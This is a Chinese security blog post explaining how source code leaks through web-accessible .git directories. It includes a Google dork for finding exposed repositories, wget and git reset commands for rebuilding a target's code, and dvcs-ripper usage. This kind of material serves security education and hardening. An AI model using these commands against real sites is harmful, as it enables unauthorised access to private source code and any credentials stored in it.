virusdefender's blog ʕ•ᴥ•ʔ

通过.git获取源码

本来是看到这个文章,觉得还不错,想简单翻译一下搬到博客上来。结果晚上就发现一篇更详细的ppt。

原 ppt 链接 http://www.slideshare.net/kost/ripping-web-accessible-git-files

中文翻译基于 http://zone.wooyun.org/content/18004,有修改~

在运行git init初始化代码库的时候 会在当前目录下产生.git目录,用来记录代码的变更等等

.git目录结构如下

 1sky@linux:~/git-repo/test$ tree .git 
 2.git 
 3├── branches 
 4├── config 
 5├── description 
 6├── HEAD 
 7├── hooks 
 8│   ├── applypatch-msg.sample 
 9│   ├── commit-msg.sample 
10│   ├── post-update.sample 
11│   ├── pre-applypatch.sample 
12│   ├── pre-commit.sample 
13│   ├── prepare-commit-msg.sample 
14│   ├── pre-push.sample 
15│   ├── pre-rebase.sample 
16│   └── update.sample 
17├── info 
18│   └── exclude 
19├── objects 
20│   ├── info 
21│   └── pack 
22└── refs 
23    ├── heads 
24    └── tags 
25
269 directories, 13 files 

发布代码的之后,直接把开发目录拷贝过去(.git)也在里面,然后就中奖了。。。

google一下:".git" intitle:"index of"

人肉获取法:

1mkdir git-test 
2cd git-test 
3#下载.git文件 
4wget --mirror --include-directories=/.git http://www.target.com/.git 
5cd www.target.com 
6#版本回退,得到了源代码 
7git reset --hard 

如果apache是Options FollowSymLinks,.git访问是403,上面这种人肉法就失效了。。。

需要借助工具,来遍历关键文件并下载恢复: https://github.com/kost/dvcs-ripper

1rip-git.pl 
2
3Example: ./rip-git.pl -v -u http://www.example.com/.git/ 

实例: WooYun: 友盟网git服务使用不当导致源代码泄露 被忽视的开发安全问题 HCTF writeup(web) One git command may cause you hacked(CVE-2014-9390)

git教程(写的真心详细) http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000

提交评论 | 微信打赏 | 转载必须注明原文链接

#安全